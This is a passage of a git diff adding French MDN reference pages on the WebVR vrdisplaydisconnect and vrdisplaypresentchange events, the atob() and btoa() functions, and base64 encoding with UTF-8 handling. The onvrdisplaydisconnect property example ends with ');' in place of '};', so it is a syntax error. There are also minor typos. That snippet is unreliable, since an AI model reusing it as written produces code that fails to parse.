+  </tr>
+  <tr>
+   <th scope="row">Annulable</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface</th>
+   <td>{{domxref("VRDisplayEvent")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Propriété de gestionnaire d'événements</th>
+   <td><code><a href="/en-US/docs/Web/API/Window/onvrdisplaydisconnect">onvrdisplaydisconnect</a></code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Vous pouvez utiliser l'événement <code>vrdisplaydisconnect</code> dans une méthode <code><a href="/en-US/docs/Web/API/EventTarget/addEventListener">addEventListener</a></code> :</p>
+
+<pre class="brush: js notranslate">window.addEventListener('vrdisplaydisconnect', function() {
+  info.textContent = 'Affichage déconnecté';
+  reportDisplays();
+});</pre>
+
+<p>Ou utilisez la propriété du gestionnaire d'événements <code><a href="/en-US/docs/Web/API/Window/onvrdisplaydisconnect">onvrdisplaydisconnect</a></code> :</p>
+
+<pre class="brush: js notranslate">window.onvrdisplaydisconnect = function() {
+  info.textContent = 'Affichage déconnecté';
+  reportDisplays();
+);</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentair</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebVR 1.1', '#dom-window-onvrdisplaydisconnect', 'vrdisplaydisconnect')}}</td>
+   <td>{{Spec2('WebVR 1.1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("api.Window.vrdisplaydisconnect_event")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebVR_API">WebVR API homepage</a></li>
+ <li><a href="http://mozvr.com/">MozVr.com</a> — démos, téléchargements et autres ressources de l'équipe Mozilla VR.</li>
+</ul>
diff --git a/files/fr/web/api/window/vrdisplaypresentchange_event/index.html b/files/fr/web/api/window/vrdisplaypresentchange_event/index.html
new file mode 100644
index 0000000000..d1acc663fd
--- /dev/null
+++ b/files/fr/web/api/window/vrdisplaypresentchange_event/index.html
@@ -0,0 +1,91 @@
+---
+title: 'Window: vrdisplaypresentchange event'
+slug: Web/API/Window/vrdisplaypresentchange_event
+tags:
+  - Evènement
+  - Reference
+  - WebVR
+  - onvrdisplaypresentchange
+  - vrdisplaypresentchange
+translation_of: Web/API/Window/vrdisplaypresentchange_event
+---
+<div>{{APIRef("Window")}}</div>
+
+<div>
+<p>L'événement <strong><code>vrdisplaypresentchange</code></strong> de l'<a href="/en-US/docs/Web/API/WebVR_API">API WebVR</a> est déclenché lorsque l'état de présentation d'un affichage VR change — c'est à dire passe de la présentation à la non présentation, ou vice versa.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Bulles</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">Annulable</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface</th>
+   <td>{{domxref("VRDisplayEvent")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Propriété de gestionnaire d'événements</th>
+   <td><code><a href="/en-US/docs/Web/API/Window/onvrdisplaypresentchange">onvrdisplaypresentchange</a></code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Vous pouvez utiliser l'événement <code>vrdisplaypresentchange</code> dans une méthode <code><a href="/en-US/docs/Web/API/EventTarget/addEventListener">addEventListener</a></code> :</p>
+
+<pre class="brush: js notranslate">window.addEventListener('vrdisplaypresentchange', function() {
+  if(vrDisplay.isPresenting) {
+    info.textContent = "L'affichage a commencé à présenter.";
+  } else {
+    info.textContent = "L'affichage a cessé de se présenter.";
+  }
+  reportDisplays();
+});</pre>
+
+<p>Ou utilisez la propriété de gestionnaire d'événements <code><a href="/en-US/docs/Web/API/Window/onvrdisplaypresentchange">onvrdisplaypresentchange</a></code> :</p>
+
+<pre class="brush: js notranslate">window.onvrdisplaypresentchange = function() {
+  if(vrDisplay.isPresenting) {
+    info.textContent = "L'affichage a commencé à présenter.";
+  } else {
+    info.textContent = "L'affichage a cessé de se présenter.";
+  }
+  reportDisplays();
+};</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebVR 1.1', '#dom-window-onvrdisplaypresentchange', 'vrdisplaypresentchange')}}</td>
+   <td>{{Spec2('WebVR 1.1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("api.Window.vrdisplaypresentchange_event")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebVR_API">WebVR API homepage</a></li>
+ <li><a href="http://mozvr.com/">MozVr.com</a> — démos, téléchargements et autres ressources de l'équipe Mozilla VR.</li>
+</ul>
diff --git a/files/fr/web/api/windowbase64/atob/index.html b/files/fr/web/api/windowbase64/atob/index.html
new file mode 100644
index 0000000000..b04c255040
--- /dev/null
+++ b/files/fr/web/api/windowbase64/atob/index.html
@@ -0,0 +1,132 @@
+---
+title: window.atob
+slug: Web/API/WindowBase64/atob
+tags:
+  - API
+  - DOM
+  - Reference
+  - WindowOrWorkerGlobalScope
+  - atob
+translation_of: Web/API/WindowOrWorkerGlobalScope/atob
+---
+<p>{{APIRef ("HTML DOM")}}<br>
+ La fonction <code>WindowOrWorkerGlobalScope.atob()</code> décode une chaîne de données qui a été codée en utilisant le codage en base 64. Vous pouvez utiliser la méthode {{domxref("WindowOrWorkerGlobalScope.btoa","btoa()")}} pour encoder et transmettre des données qui pourraient causer des problèmes de communication, puis les transmettre et utiliser la méthode atob() pour décoder les données . Par exemple, vous pouvez coder, transmettre et décoder des caractères de contrôle tels que les valeurs ASCII 0 à 31.</p>
+
+<p>Pour une utilisation avec des chaînes Unicode ou UTF-8, voir <a href="/fr/docs/D%C3%A9coder_encoder_en_base64">cette note sur l'encodage et le décodage Base64</a> et <a href="/fr-FR/docs/Web/API/window.btoa#Unicode_Strings">cette note sur btoa()</a>.</p>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="eval">var donneesDecodees = scope.atob(<em>donneesEncodees</em>);
+</pre>
+
+<h3 id="Déclenche">Déclenche</h3>
+
+<p>Déclenche une {{jsxref("DOMException")}} si la longueur de la chaîne passée en entrée n'est pas un multiple de 4.</p>
+
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+
+<pre class="eval"><em>donneesEncodees</em> = window.btoa('Salut, monde'); // encode une chaîne
+<em>donneesDecodees</em> = window.atob(<em>donneesEncodees</em>); // décode la chaîne
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webappapis.html#dom-btoa', 'WindowOrWorkerGlobalScope.atob()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Méthode déplacée dans le mixin <code>WindowOrWorkerGlobalScope</code> dans la spéc la plus récente.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-windowbase64-atob', 'WindowBase64.atob()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Pas de changement depuis l'instantané le plus récent {{SpecName("HTML5.1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', '#dom-windowbase64-atob', 'WindowBase64.atob()')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Instantané de {{SpecName("HTML WHATWG")}}. Pas de changement.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "#dom-windowbase64-atob", "WindowBase64.atob()")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Instantané de {{SpecName("HTML WHATWG")}}. Création de <code>WindowBase64</code> (les propriétés se trouvaient sur la cible avant cela).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<table>
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1)}}<sup>[1]</sup><br>
+    {{CompatGeckoDesktop(27)}}<sup>[2]</sup><br>
+    {{CompatGeckoDesktop(52)}}<sup>[3]</sup></td>
+   <td>10</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<table>
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1)}}<br>
+    {{CompatGeckoDesktop(52)}}<sup>[3]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>[1] <code>atob()</code> est aussi disponible pour les composants XPCOM implémentés en JavaScript, même si <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Window">window</a></code> n'est pas l'objet global dans les composants.</p>
+
+<p>[2] A partir de <a href="https://developer.mozilla.org/en-US/Firefox/Releases/27/Site_Compatibility">Firefox 27</a>, <code>atob()</code> ignore tous les caractères espace dans l'argument pour se conformer à la spéc HTML5 la plus récente (voir {{bug(711180)}}).</p>
+
+<p>[3] <code>atob()</code> maintenant définie dans le mixin {{domxref("WindowOrWorkerGlobalScope")}}.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/Web/API/WindowBase64/Base64_encoding_and_decoding">Base64 encoding and decoding</a></li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/HTTP/Basics_of_HTTP/Data_URIs">Les  URL de <code>données</code></a></li>
+ <li>{{domxref("WindowOrWorkerGlobalScope.btoa","window.btoa()")}}</li>
+ <li><a href="https://developer.mozilla.org/fr-FR/docs/Components.utils.importGlobalProperties">Components.utils.importGlobalProperties</a></li>
+</ul>
diff --git a/files/fr/web/api/windowbase64/btoa/index.html b/files/fr/web/api/windowbase64/btoa/index.html
new file mode 100644
index 0000000000..7d993f35fa
--- /dev/null
+++ b/files/fr/web/api/windowbase64/btoa/index.html
@@ -0,0 +1,174 @@
+---
+title: WindowBase64.btoa()
+slug: Web/API/WindowBase64/btoa
+tags:
+  - API
+  - DOM
+  - Méthode
+  - Reference
+  - Web
+  - WindowOrWorkerGlobalScope
+  - btoa
+  - chaînes
+  - données
+translation_of: Web/API/WindowOrWorkerGlobalScope/btoa
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>La méthode <code>WindowOrWorkerGlobalScope.btoa()</code> crée une chaîne ASCII codée en base 64 à partir d'un objet {{jsxref ("String")}} dans lequel chaque caractère de la chaîne est traité comme un octet de données binaires.</p>
+
+<div class="note">
+<p><strong>Note :</strong> étant donné que cette fonction traite chaque caractère comme un octet de données binaires, quel que soit le nombre d'octets composant le caractère, une exception <code>InvalidCharacterError</code> est déclenchée si le {{Glossary("code point")}} d'un caractère quelconque est en dehors de la plage 0x00 à 0xFF. Voir {{anch("Chaînes Unicode")}} pour un exemple montrant comment encoder des chaînes avec des caractères en dehors de la plage 0x00 à 0xFF.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre>var donneesEncodees = scope.btoa(<em>chaineAEncoder</em>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>chaineAEncoder</code></dt>
+ <dd>Une chaîne dont les caractères représentent chacun un octet unique de données binaires à encoder en ASCII.</dd>
+</dl>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Une chaîne contenant la représentation Base64 de la <code>chaineAEncoder</code>.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="eval">var donneesEncodees = window.btoa('Salut, monde'); // encode une chaîne<em>
+</em>var donneesDecodees = window.atob(donneesEncodees); // décode la chaîne
+</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>Vous pouvez utiliser cette méthode pour encoder des données qui, autrement, pourraient engendrer des problèmes de communication, les transmettre et utiliser alors la méthode {{domxref("WindowOrWorkerGlobalScope.atob","atob()")}} pour décoder les données à nouveau. Par exemple, vous pouvez encoder des caractères de contrôle tels que les valeurs ASCII de 0 à 31.</p>
+
+<p><code>btoa()</code> est également disponible pour les composants XPCOM implémentés en JavaScript, même si {domxref("Window")}} n'est pas l'objet global dans les composants.</p>
+
+<h2 id="Chaînes_Unicode">Chaînes Unicode</h2>
+
+<p>Dans la plupart des navigateurs, l'appel de <code>btoa()</code> sur une chaîne Unicode engendrera une exception <code>InvalidCharacterError</code>.</p>
+
+<p>Une option est d'échapper tous les caractères étendus, de telle sorte que la chaîne que vous voulez en fait encoder soit une représentation ASCII de l'original. Voyez cet exemple, noté par <a href="http://ecmanaut.blogspot.com/2006/07/encoding-decoding-utf8-in-javascript.html" title="http://ecmanaut.blogspot.com/2006/07/encoding-decoding-utf8-in-javascript.html">Johan Sundström</a> :</p>
+
+<pre id="txt"><code>// Chaîne ucs-2 en ascii encodé en base64
+function uena(chn) {
+    return window.btoa(unescape(encodeURIComponent(chn)));
+}
+// Ascii encodé en base64 en chaîne ucs-2
+function aenu(chn) {
+    return decodeURIComponent(escape(window.atob(chn)));
+}
+// Usage :
+uena('✓ à la mode'); // 4pyTIMOgIGxhIG1vZGU=
+aenu('4pyTIMOgIGxhIG1vZGU='); // "✓ à la mode"
+
+uena('I \u2661 Unicode!'); // SSDimaEgVW5pY29kZSE=
+aenu('SSDimaEgVW5pY29kZSE='); // "I ♡ Unicode!"</code></pre>
+
+<p>Une solution meilleure, plus fiable et moins coûteuse consiste à <a href="https://developer.mozilla.org/fr/docs/D%C3%A9coder_encoder_en_base64">utiliser des tableaux typés pour faire la conversion</a>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webappapis.html#dom-btoa', 'WindowOrWorkerGlobalScope.btoa()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Méthode déplacée dans le mixin <code>WindowOrWorkerGlobalScope</code> dans la spéc la plus récente.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-windowbase64-btoa', 'WindowBase64.btoa()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Pas de changement depuis le dernier instantané, {{SpecName("HTML5.1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', '#dom-windowbase64-btoa', 'WindowBase64.btoa()')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Instantané de {{SpecName("HTML WHATWG")}}. Pas de changement.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "#dom-windowbase64-btoa", "WindowBase64.btoa()")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Instantané de {{SpecName("HTML WHATWG")}}. Création de <code>WindowBase64</code> (les propriétés se trouvaient sur la cible avant cela).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<table>
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1)}}<sup>[1]</sup><br>
+    {{CompatGeckoDesktop(52)}}<sup>[2]</sup></td>
+   <td>10</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<table>
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1)}}<br>
+    {{CompatGeckoMobile(52)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>[1] <code>btoa()</code> est aussi pour les composants XPCOM implémentés en JavaScript, même si <code><a href="https://developer.mozilla.org/en-US/docs/DOM/window">window</a></code> n'est pas l'objet global dans les composants.</p>
+
+<p>[2] <code>btoa()</code> maintenant défini dans le mixin {{domxref("WindowOrWorkerGlobalScope")}}.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding">Base64 encoding and decoding</a></li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/HTTP/Basics_of_HTTP/Data_URIs">Les URL de <code>données</code></a></li>
+ <li>{{domxref("WindowOrWorkerGlobalScope.atob","atob()")}}</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Components.utils.importGlobalProperties">Components.utils.importGlobalProperties</a></li>
+</ul>
diff --git a/files/fr/web/api/windowbase64/décoder_encoder_en_base64/index.html b/files/fr/web/api/windowbase64/décoder_encoder_en_base64/index.html
new file mode 100644
index 0000000000..ae762bf333
--- /dev/null
+++ b/files/fr/web/api/windowbase64/décoder_encoder_en_base64/index.html
@@ -0,0 +1,343 @@
+---
+title: Décoder et encoder en base64
+slug: Web/API/WindowBase64/Décoder_encoder_en_base64
+tags:
+  - Advanced
+  - Base64
+  - JavaScript
+  - Reference
+  - Typed Arrays
+  - URI
+  - URL
+  - Unicode Problem
+  - atob()
+  - btoa()
+translation_of: Glossary/Base64
+---
+<p><strong>Base64</strong> est un groupe de schéma pour encoder des données binaires sous forme d'un texte au format ASCII grâce à la représentation de ces données en base 64. Le terme base64 vient à l'origine de l'encodage utilisé pour transférer certains <a href="https://fr.wikipedia.org/wiki/Multipurpose_Internet_Mail_Extensions#Content-Transfer-Encoding">contenus MIME</a>.</p>
+
+<p>Les schémas d'encodage en base64 sont principalement utilisés lorsqu'il s'agit d'enregistrer ou d'envoyer des données binaires via un media qui a été conçu pour gérer du texte. Cette transformation permet de conserver l'intégrité et la véracité des données envoyées lors du transport. Base64 est utilisé par plusieurs applications, notamment celles qui gèrent les courriels avec <a href="https://fr.wikipedia.org/wiki/MIME">MIME</a>, et le stockage de données complexes en <a href="/fr/docs/XML">XML</a>.</p>
+
+<p>Pour JavaScript, il existe deux fonctions utilisées pour encoder et décoder des chaînes en base64 :</p>
+
+<ul>
+ <li>{{domxref("window.atob","atob()")}}</li>
+ <li>{{domxref("window.btoa","btoa()")}}</li>
+</ul>
+
+<p>La fonction <code>atob()</code> permet de décoder des données encodées en une chaîne de caractères en base 64. La fonction <code>btoa()</code>, quant à elle, permet de créer une chaîne ASCII en base64 à partir d'une « chaîne » de données binaires.</p>
+
+<p>Les deux méthodes, <code>atob()</code> et <code>btoa()</code>, fonctionnent sur des chaînes de caractères. Si vous voulez utiliser des <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/ArrayBuffer"><code>ArrayBuffers</code></a>, lisez <a href="#Solution_.232_.E2.80.93_rewriting_atob%28%29_and_btoa%28%29_using_TypedArrays_and_UTF-8">ce paragraphe</a>.</p>
+
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h2 class="Documentation" id="Documentation" name="Documentation">Documentation</h2>
+
+    <dl>
+     <dt><a href="/fr/docs/Web/HTTP/data_URIs" title="https://developer.mozilla.org/en-US/docs/data_URIs">URIs de données</a></dt>
+     <dd><small>Les URIs de données, définies par la <a class="external" href="http://tools.ietf.org/html/rfc2397" title="http://tools.ietf.org/html/rfc2397">RFC 2397</a>, permettent aux créateurs de contenus d'intégrer des fichiers en ligne dans des documents.</small></dd>
+     <dt><a href="https://fr.wikipedia.org/wiki/Base_64" title="https://fr.wikipedia.org/wiki/Base_64">Base64</a></dt>
+     <dd><small>Article Wikipédia sur l'encodage en base64.</small></dd>
+     <dt>{{domxref("window.atob","atob()")}}</dt>
+     <dd><small>Méthode permettant de décoder une chaîne de donnée qui a été encodée en base64.</small></dd>
+     <dt>{{domxref("window.btoa","btoa()")}}</dt>
+     <dd><small>Méthode permettant de créer une chaîne ASCII en base64 à partir d'une « chaîne » de données binaires.</small></dd>
+     <dt><a href="#The_.22Unicode_Problem.22">Le « problème Unicode »</a></dt>
+     <dd><small>Pour la plupart des navigateurs, l'utilisation de <code>btoa()</code> sur une chaîne de caractères Unicode entraînera une exception <code>Character Out Of Range</code>. Ce paragraphe indique quelques solutions.</small></dd>
+     <dt><a href="/fr/docs/URIScheme" title="/fr/docs/URIScheme">URIScheme</a></dt>
+     <dd><small>Une liste de schémas URI supportés par Mozilla</small>.</dd>
+     <dt><a href="/fr/Add-ons/Code_snippets/StringView" title="/en-US/Add-ons/Code_snippets/StringView"><code>StringView</code></a></dt>
+     <dd>Dans cet article, nous publions une bibliothèque dont les buts sont :
+     <ul>
+      <li>de créer une interface pour les chaînes de caractères à la façon du langage <a class="external" href="https://fr.wikipedia.org/wiki/C_%28langage%29" title="https://fr.wikipedia.org/wiki/C_%28langage%29">C</a> (i.e. un tableau de code de caractères —<a href="/fr/docs/Web/API/ArrayBufferView" title="/fr/docs/Web/API/ArrayBufferView"> <code>ArrayBufferView</code></a> en JavaScript) basée sur l'interface JavaScript <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/ArrayBuffer" title="/fr/docs/Web/JavaScript/Reference/Objets_globaux/ArrayBuffer"><code>ArrayBuffer</code></a>,</li>
+      <li>de créer un ensemble de méthodes pour ces objets qui fonctionnent <strong>sur des tableaux de nombres</strong> plutôt que sur chaînes de caractères JavaScript immuables,</li>
+      <li>de travailler avec d'autres encodages Unicode, y compris ceux différent d'UTF-16 qui est l'encodage par défaut de JavaScript pour les <a href="/fr/docs/Web/API/DOMString" title="/fr/docs/Web/API/DOMString"><code>DOMString</code></a>.</li>
+     </ul>
+     </dd>
+    </dl>
+
+    <p><span class="alllinks"><a href="/fr/docs/tag/Base64">Voir toutes les pages sur base64...</a></span></p>
+   </td>
+   <td>
+    <h2 class="Tools" id="Tools" name="Tools">Outils</h2>
+
+    <ul>
+     <li><a href="#Solution_.232_.E2.80.93_rewriting_atob()_and_btoa()_using_TypedArrays_and_UTF-8">Réécrire <code>atob()</code>et <code>btoa()</code> en utilisant des <code>TypedArray</code>s et l'UTF-8</a></li>
+     <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays/StringView" title="/en-US/docs/Web/JavaScript/Typed_arrays/StringView"><code>StringView</code> – une représentation des chaînes de caractères semblable à celle du langage C, basée sur les tableaux typés.</a></li>
+    </ul>
+
+    <p><span class="alllinks"><a href="/fr/docs/tag/Base64">Voir toutes les pages sur base64...</a></span></p>
+
+    <h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Sujets connexes</h2>
+
+    <ul>
+     <li><a href="/fr/docs/Web/JavaScript/Typed_arrays/ArrayBuffer"><code>ArrayBuffer</code></a></li>
+     <li><a href="/fr/docs/Web/JavaScript/Tableaux_typés">Les tableaux typés</a></li>
+     <li><a href="/fr/docs/Web/API/ArrayBufferView">ArrayBufferView</a></li>
+     <li><a href="/fr/docs/Web/API/Uint8Array"><code>Uint8Array</code></a></li>
+     <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays/StringView" title="/en-US/docs/Web/JavaScript/Typed_arrays/StringView"><code>StringView</code> – une représentation des chaînes de caractères semblable à celle du langage C, basée sur les tableaux typés</a></li>
+     <li><a href="/fr/docs/Web/API/DOMString" title="/fr/docs/Web/API/DOMString"><code>DOMString</code></a></li>
+     <li><a href="/fr/docs/Glossary/URI" title="/fr/docs/Glossary/URI"><code>URI</code></a></li>
+     <li><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/encodeURI" title="/fr/docs/Web/JavaScript/Reference/Objets_globaux/encodeURI"><code>encodeURI()</code></a></li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Le_«_problème_Unicode_»">Le « problème Unicode »</h2>
+
+<p>Les objets <a href="/en-US/docs/Web/API/DOMString" title="/en-US/docs/Web/API/DOMString"><code>DOMString</code></a> sont des chaînes de caractères encodées sur 16 bits. Pour la plupart des navigateurs, lorsqu'on appelle <code>window.btoa</code> sur une chaîne Unicode, cela entraîne une exception <code>Character Out Of Range</code> si la représentation du caractère dépasse les 8 bits ASCII. Deux méthodes existent pour résoudre le problème :</p>
+
+<ul>
+ <li>échapper la chaîne dans son intégralité puis l'encoder,</li>
+ <li>convertir la chaîne UTF-16 <a href="/en-US/docs/Web/API/DOMString" title="/en-US/docs/Web/API/DOMString"><code>DOMString</code></a> en un tableau UTF-8 de caractères puis l'encoder.</li>
+</ul>
+
+<p>Voici ces deux méthodes :</p>
+
+<h3 id="Première_solution_–_échapper_la_chaîne_avant_de_lencoder">Première solution  – échapper la chaîne avant de l'encoder</h3>
+
+<pre class="brush:js notranslate">function utf8_to_b64( str ) {
+  return window.btoa(unescape(encodeURIComponent( str )));
+}
+
+function b64_to_utf8( str ) {
+  return decodeURIComponent(escape(window.atob( str )));
+}
+
+// Usage:
+utf8_to_b64('✓ à la mode'); // "4pyTIMOgIGxhIG1vZGU="
+b64_to_utf8('4pyTIMOgIGxhIG1vZGU='); // "✓ à la mode"</pre>
+
+<p>Cette solution a été proposée dans un article de <a href="http://ecmanaut.blogspot.com/2006/07/encoding-decoding-utf8-in-javascript.html">Johan Sundström</a>.</p>
+
+<h3 id="Seconde_solution_–_réécrire_atob_et_btoa_en_utilisant_des_TypedArray_avec_de_lUTF-8">Seconde solution – réécrire <code>atob()</code> et <code>btoa()</code> en utilisant des <code>TypedArray</code> avec de l'UTF-8</h3>
+
+<div class="note"><strong>Note :</strong> Le code suivant peut également être utilisé pour obtenir un <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/ArrayBuffer">ArrayBuffer</a> depuis une chaîne en base 64 (et vice-versa, voir ci-après). <strong>Pour un article concernant une bibliothèque complète sur les tableaux typés, voir <a href="/fr/Add-ons/Code_snippets/StringView" title="/fr/Add-ons/Code_snippets/StringView">cet article</a></strong>.</div>
+
+<pre class="brush: js notranslate">"use strict";
+
+/*\
+|*|
+|*|  utilitairezs de manipulations de chaînes base 64 / binaires / UTF-8
+|*|
+|*|  https://developer.mozilla.org/fr/docs/Décoder_encoder_en_base64
+|*|
+\*/
+
+/* Décoder un tableau d'octets depuis une chaîne en base64 */
+
+function b64ToUint6 (nChr) {
+
+  return nChr &gt; 64 &amp;&amp; nChr &lt; 91 ?
+      nChr - 65
+    : nChr &gt; 96 &amp;&amp; nChr &lt; 123 ?
+      nChr - 71
+    : nChr &gt; 47 &amp;&amp; nChr &lt; 58 ?
+      nChr + 4
+    : nChr === 43 ?
+      62
+    : nChr === 47 ?
+      63
+    :
+      0;
+
+}
+
+function base64DecToArr (sBase64, nBlocksSize) {
+
+  var
+    sB64Enc = sBase64.replace(/[^A-Za-z0-9\+\/]/g, ""), nInLen = sB64Enc.length,
+    nOutLen = nBlocksSize ? Math.ceil((nInLen * 3 + 1 &gt;&gt; 2) / nBlocksSize) * nBlocksSize : nInLen * 3 + 1 &gt;&gt; 2, taBytes = new Uint8Array(nOutLen);
+
